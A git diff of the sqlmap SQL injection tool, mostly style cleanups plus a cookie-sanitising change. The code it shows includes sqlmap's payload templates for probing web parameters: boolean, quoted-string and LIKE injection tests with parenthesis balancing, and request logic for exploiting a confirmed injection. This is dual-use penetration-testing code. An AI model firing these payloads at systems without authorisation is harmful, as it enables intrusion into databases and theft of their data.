diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index e8b3bd7ae..d714f8cb5 100755
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -1,28 +1,26 @@
#!/usr/bin/env python
"""
-dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (C) 2009 Bernardo Damele A. G.
-web: http://bernardodamele.blogspot.com/
-email: bernardo.damele@gmail.com
-
-This library is free software; you can redistribute it and/or
-modify it under the terms of the GNU Lesser General Public
-License as published by the Free Software Foundation; either
-version 2.1 of the License, or (at your option) any later version.
-
-This library is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-Lesser General Public License for more details.
-
-You should have received a copy of the GNU Lesser General Public
-License along with this library; if not, write to the Free Software
-Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+dbgtool.py - Portable executable to ASCII debug script converter
+Copyright (C) 2009 Bernardo Damele A. G.
+web: http://bernardodamele.blogspot.com/
+email: bernardo.damele@gmail.com
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import sys
import struct
@@ -30,7 +28,6 @@ import struct
from optparse import OptionError
from optparse import OptionParser
-
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
@@ -73,8 +70,7 @@ def convert(inputFile):
script += "w\r\nq\r\n"
return script
-
-
+
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
@@ -89,8 +85,7 @@ def main(inputFile, outputFile):
sys.stdout.close()
else:
print script
-
-
+
if __name__ == '__main__':
usage = '%s -i [-o ]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
diff --git a/lib/contrib/magic.py b/lib/contrib/magic.py
index bd0380173..3b9b70be3 100644
--- a/lib/contrib/magic.py
+++ b/lib/contrib/magic.py
@@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic
License: PSF (http://www.python.org/psf/license/)
"""
-
-
import os.path
import ctypes
import ctypes.util
@@ -42,7 +40,6 @@ class Magic:
magic_load(self.cookie, magic_file)
-
def from_buffer(self, buf):
"""
Identify the contents of `buf`
@@ -66,7 +63,6 @@ class Magic:
except Exception, _:
pass
-
_magic_mime = None
_magic = None
@@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False):
m = _get_magic_type(mime)
return m.from_buffer(buffer)
-
-
try:
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
@@ -132,17 +126,14 @@ try:
magic_file.argtypes = [magic_t, c_char_p]
magic_file.errcheck = errorcheck
-
_magic_buffer = libmagic.magic_buffer
_magic_buffer.restype = c_char_p
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
_magic_buffer.errcheck = errorcheck
-
def magic_buffer(cookie, buf):
return _magic_buffer(cookie, buf, len(buf))
-
magic_load = libmagic.magic_load
magic_load.restype = c_int
magic_load.argtypes = [magic_t, c_char_p]
@@ -162,7 +153,6 @@ try:
except:
pass
-
MAGIC_NONE = 0x000000 # No flags
MAGIC_DEBUG = 0x000001 # Turn on debugging
diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py
index eb10cf683..60e5ade3b 100644
--- a/lib/contrib/multipartpost.py
+++ b/lib/contrib/multipartpost.py
@@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import mimetools
import mimetypes
import os
@@ -39,7 +37,6 @@ class Callable:
def __init__(self, anycallable):
self.__call__ = anycallable
-
# Controls how sequences are uncoded. If true, elements may be given
# multiple values by assigning a sequence.
doseq = 1
@@ -50,9 +47,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
def http_request(self, request):
data = request.get_data()
+
if data is not None and type(data) != str:
v_files = []
v_vars = []
+
try:
for(key, value) in data.items():
if type(value) == file:
@@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
request.add_data(data)
return request
-
def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None:
boundary = mimetools.choose_boundary()
+
if buffer is None:
buffer = ''
+
for(key, value) in vars:
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n'
+
for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1]
@@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
# buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n'
+
buffer += '--%s--\r\n\r\n' % boundary
+
return boundary, buffer
+
multipart_encode = Callable(multipart_encode)
https_request = http_request
-
diff --git a/lib/controller/action.py b/lib/controller/action.py
index ed0f59e0c..c44ac9802 100644
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.controller.handler import setHandler
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
@@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
-
def action():
"""
This function exploit the SQL injection on the affected
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index aeb38b0c8..e17aab220 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
import time
@@ -39,7 +37,6 @@ from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request
-
def checkSqlInjection(place, parameter, value, parenthesis):
"""
This function checks if the GET, POST, Cookie, User-Agent
@@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
- if trueResult == True:
+ if trueResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
@@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
- if trueResult == True:
+ if trueResult:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
- if trueResult == True:
+ if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
- if trueResult == True:
+ if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
- if trueResult == True:
+ if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
- if trueResult == True:
+ if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
- if falseResult != True:
+ if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
return None
-
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
@@ -279,7 +275,6 @@ def checkDynParam(place, parameter, value):
return condition
-
def checkStability():
"""
This function checks if the URL content is stable requesting the
@@ -300,13 +295,13 @@ def checkStability():
condition = firstPage == secondPage
- if condition == True:
+ if condition:
conf.md5hash = md5hash(firstPage)
logMsg = "url is stable"
logger.info(logMsg)
- elif condition == False:
+ elif not condition:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
@@ -315,8 +310,6 @@ def checkStability():
logger.warn(warnMsg)
return condition
-
-
def checkString():
if not conf.string:
return True
@@ -347,7 +340,6 @@ def checkString():
return False
-
def checkRegexp():
if not conf.regexp:
return True
@@ -379,7 +371,6 @@ def checkRegexp():
return False
-
def checkConnection():
infoMsg = "testing connection to the target url"
logger.info(infoMsg)
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 9d03d1407..ad01aebc3 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.controller.action import action
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
@@ -33,6 +31,7 @@ from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.core.common import paramToDict
from lib.core.common import readInput
+from lib.core.common import sanitizeCookie
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -42,7 +41,6 @@ from lib.core.target import createTargetDirs
from lib.core.target import initTargetEnv
from lib.utils.parenthesis import checkForParenthesis
-
def __selectInjection(injData):
"""
Selection function for injection place, parameters and type.
@@ -83,7 +81,6 @@ def __selectInjection(injData):
return injData[index]
-
def start():
"""
This function calls a function that performs checks on both URL
@@ -143,34 +140,36 @@ def start():
if not checkConnection() or not checkString() or not checkRegexp():
continue
- for _, cookie in enumerate(conf.cj):
- cookie = str(cookie)
- index = cookie.index(" for ")
+ if not conf.dropSetCookie:
+ for _, cookie in enumerate(conf.cj):
+ cookie = str(cookie)
+ index = cookie.index(" for ")
+
+ cookieStr += "%s;" % cookie[8:index]
- cookieStr += "%s;" % cookie[8:index]
-
- if cookieStr:
- cookieStr = cookieStr[:-1]
-
- if "Cookie" in conf.parameters:
- message = "you provided an HTTP Cookie header value. "
- message += "The target url provided its own Cookie within "
- message += "the HTTP Set-Cookie header. Do you want to "
- message += "continue using the HTTP Cookie values that "
- message += "you provided? [Y/n] "
- test = readInput(message, default="Y")
-
- if not test or test[0] in ("y", "Y"):
- setCookieAsInjectable = False
-
- if setCookieAsInjectable:
- conf.httpHeaders.append(("Cookie", cookieStr))
- conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
- __paramDict = paramToDict("Cookie", cookieStr)
-
- if __paramDict:
- conf.paramDict["Cookie"] = __paramDict
- __testableParameters = True
+ if cookieStr:
+ cookieStr = cookieStr[:-1]
+
+ if "Cookie" in conf.parameters:
+ message = "you provided an HTTP Cookie header value. "
+ message += "The target url provided its own Cookie within "
+ message += "the HTTP Set-Cookie header. Do you want to "
+ message += "continue using the HTTP Cookie values that "
+ message += "you provided? [Y/n] "
+ test = readInput(message, default="Y")
+
+ if not test or test[0] in ("y", "Y"):
+ setCookieAsInjectable = False
+
+ if setCookieAsInjectable:
+ safeCookie = sanitizeCookie(cookieStr)
+ conf.httpHeaders.append(("Cookie", safeCookie))
+ conf.parameters["Cookie"] = safeCookie
+ __paramDict = paramToDict("Cookie", safeCookie)
+
+ if __paramDict:
+ conf.paramDict["Cookie"] = __paramDict
+ __testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string and not conf.regexp and not conf.eRegexp:
@@ -201,7 +200,7 @@ def start():
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
- if testSqlInj == True:
+ if testSqlInj:
for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter
@@ -247,14 +246,11 @@ def start():
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType:
- condition = False
-
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
- if not exploit or exploit[0] in ("y", "Y"):
- condition = True
+ condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index 2faca3717..d36af20c3 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql import PostgreSQLMap
-
def setHandler():
"""
Detect which is the target web application back-end database
diff --git a/lib/core/agent.py b/lib/core/agent.py
index 9b3b22ef4..be05eb5f4 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from lib.core.common import randomInt
@@ -45,7 +43,6 @@ class Agent:
temp.start = randomStr(6)
temp.stop = randomStr(6)
-
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
"""
This method replaces the affected parameter with the SQL
@@ -56,9 +53,9 @@ class Agent:
negValue = ""
retValue = ""
- if negative == True or conf.paramNegative == True:
+ if negative or conf.paramNegative:
negValue = "-"
- elif falseCond == True or conf.paramFalseCond == True:
+ elif falseCond or conf.paramFalseCond:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
@@ -83,7 +80,6 @@ class Agent:
return retValue
-
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
@@ -91,7 +87,6 @@ class Agent:
return payload
-
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
@@ -120,7 +115,6 @@ class Agent:
return query
-
def postfixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
@@ -136,7 +130,7 @@ class Agent:
if conf.postfix:
string += " %s" % conf.postfix
else:
- if kb.parenthesis != None:
+ if kb.parenthesis is not None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
@@ -156,7 +150,6 @@ class Agent:
return string
-
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
@@ -195,7 +188,6 @@ class Agent:
return nulledCastedField
-
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
@@ -242,7 +234,6 @@ class Agent:
return nulledCastedConcatFields
-
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
@@ -285,7 +276,6 @@ class Agent:
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
-
def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
@@ -300,7 +290,6 @@ class Agent:
return concatenatedQuery
-
def concatQuery(self, query, unpack=True):
"""
Take in input a query string and return its processed nulled,
@@ -327,7 +316,7 @@ class Agent:
@rtype: C{str}
"""
- if unpack == True:
+ if unpack:
concatenatedQuery = ""
query = query.replace(", ", ",")
@@ -386,7 +375,6 @@ class Agent:
return concatenatedQuery
-
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
"""
Take in input an query (pseudo query) string and return its
@@ -465,7 +453,6 @@ class Agent:
return inbandQuery
-
def limitQuery(self, num, query, field):
"""
Take in input a query string and return its limited query string.
@@ -529,7 +516,7 @@ class Agent:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
- if forgeNotIn == True:
+ if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
@@ -540,7 +527,6 @@ class Agent:
return limitedQuery
-
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
@@ -560,6 +546,5 @@ class Agent:
return queries[kb.dbms].case % expression
-
# SQL agent
agent = Agent()
diff --git a/lib/core/common.py b/lib/core/common.py
index 063c15e70..e0473949c 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import random
import re
@@ -32,10 +30,7 @@ import string
import sys
import time
import urlparse
-
-
from lib.contrib import magic
-from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -115,7 +110,6 @@ def paramToDict(place, parameters=None):
return testableParameters
-
def formatDBMSfp(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
@@ -139,13 +133,11 @@ def formatDBMSfp(versions=None):
return kb.dbms
-
def formatFingerprintString(values, chain=" or "):
strJoin = "|".join([v for v in values])
return strJoin.replace("|", chain)
-
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
@@ -198,7 +190,6 @@ def formatFingerprint(target, info):
return infoStr
-
def getHtmlErrorFp():
"""
This function parses the knowledge base htmlFp list and return its
@@ -222,7 +213,6 @@ def getHtmlErrorFp():
return htmlParsed
-
def getDocRoot():
docRoot = None
pagePath = os.path.dirname(conf.path)
@@ -236,7 +226,7 @@ def getDocRoot():
for absFilePath in kb.absFilePaths:
absFilePathWin = None
- if re.search("([\w]\:[\/\\\\]+)", absFilePath):
+ if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/")
@@ -269,7 +259,6 @@ def getDocRoot():
return docRoot
-
def getDirs():
directories = set()
@@ -305,33 +294,28 @@ def getDirs():
directories.add(defaultDir)
return directories
-
-
+
def filePathToString(filePath):
strRepl = filePath.replace("/", "_").replace("\\", "_")
strRepl = strRepl.replace(" ", "_").replace(":", "_")
return strRepl
-
def dataToStdout(data):
sys.stdout.write(data)
sys.stdout.flush()
-
-
+
def dataToSessionFile(data):
if not conf.sessionFile:
return
conf.sessionFP.write(data)
conf.sessionFP.flush()
-
-
+
def dataToDumpFile(dumpFile, data):
dumpFile.write(data)
dumpFile.flush()
-
-
+
def dataToOutFile(data):
if not data:
return "No data retrieved"
@@ -346,7 +330,6 @@ def dataToOutFile(data):
return rFilePath
-
def strToHex(inpStr):
"""
@param inpStr: inpStr to be converted into its hexadecimal value.
@@ -369,8 +352,7 @@ def strToHex(inpStr):
hexStr += hexChar
return hexStr
-
-
+
def fileToStr(fileName):
"""
@param fileName: file path to read the content and return as a no
@@ -384,13 +366,7 @@ def fileToStr(fileName):
filePointer = open(fileName, "r")
fileText = filePointer.read()
- fileText = fileText.replace(" ", "")
- fileText = fileText.replace("\t", "")
- fileText = fileText.replace("\r", "")
- fileText = fileText.replace("\n", " ")
-
- return fileText
-
+ return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
def fileToHex(fileName):
"""
@@ -407,7 +383,6 @@ def fileToHex(fileName):
return hexFile
-
def readInput(message, default=None):
"""
@param message: message to display on terminal.
@@ -435,8 +410,7 @@ def readInput(message, default=None):
data = default
return data
-
-
+
def randomRange(start=0, stop=1000):
"""
@param start: starting number.
@@ -451,7 +425,6 @@ def randomRange(start=0, stop=1000):
return int(random.randint(start, stop))
-
def randomInt(length=4):
"""
@param length: length of the random string.
@@ -463,7 +436,6 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
-
def randomStr(length=5, lowercase=False):
"""
@param length: length of the random string.
@@ -473,14 +445,13 @@ def randomStr(length=5, lowercase=False):
@rtype: C{str}
"""
- if lowercase == True:
+ if lowercase:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr
-
-
+
def sanitizeStr(inpStr):
"""
@param inpStr: inpStr to sanitize: cast to str datatype and replace
@@ -496,7 +467,6 @@ def sanitizeStr(inpStr):
return cleanString
-
def checkFile(filename):
"""
@param filename: filename to check if it exists.
@@ -505,15 +475,13 @@ def checkFile(filename):
if not os.path.exists(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename
-
-
+
def replaceNewlineTabs(inpStr):
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString
-
def banner():
"""
This function prints sqlmap banner with its version
@@ -523,8 +491,7 @@ def banner():
%s
by Bernardo Damele A. G.
""" % VERSION_STRING
-
-
+
def parsePasswordHash(password):
blank = " " * 8
@@ -542,8 +509,7 @@ def parsePasswordHash(password):
password += "%suppercase: %s" % (blank, hexPassword[54:])
return password
-
-
+
def cleanQuery(query):
upperQuery = query
@@ -556,8 +522,7 @@ def cleanQuery(query):
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
return upperQuery
-
-
+
def setPaths():
# sqlmap paths
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
@@ -581,8 +546,7 @@ def setPaths():
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
-
-
+
def weAreFrozen():
"""
Returns whether we are frozen via py2exe.
@@ -592,7 +556,6 @@ def weAreFrozen():
return hasattr(sys, "frozen")
-
def parseTargetUrl():
"""
Parse target url and set some attributes into the configuration
@@ -623,11 +586,10 @@ def parseTargetUrl():
conf.port = 80
if __urlSplit[3]:
- conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
+ conf.parameters["GET"] = __urlSplit[3]
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
-
-
+
def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess
@@ -659,8 +621,7 @@ def expandAsteriskForColumns(expression):
logger.info(infoMsg)
return expression
-
-
+
def getRange(count, dump=False, plusOne=False):
count = int(count)
indexRange = None
@@ -674,14 +635,13 @@ def getRange(count, dump=False, plusOne=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
- if kb.dbms == "Oracle" or plusOne == True:
+ if kb.dbms == "Oracle" or plusOne:
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
return indexRange
-
-
+
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
data = []
@@ -696,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
output = re.findall(regExpr, output, re.S)
- if condition == None:
+ if condition is None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
@@ -731,27 +691,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
data = data[0]
return data
-
-
+
def getDelayQuery():
query = None
- if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ if kb.dbms in ("MySQL", "PostgreSQL"):
if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
- if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
+ if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
query = queries[kb.dbms].timedelay % conf.timeSec
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
- else:
+ else:
query = queries[kb.dbms].timedelay % conf.timeSec
return query
-
-
+
def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
@@ -760,11 +718,9 @@ def getLocalIP():
return ip
-
def getRemoteIP():
return socket.gethostbyname(conf.hostname)
-
def getFileType(filePath):
try:
magicFileType = magic.from_file(filePath)
@@ -775,8 +731,7 @@ def getFileType(filePath):
return "text"
else:
return "binary"
-
-
+
def pollProcess(process):
while True:
dataToStdout(".")
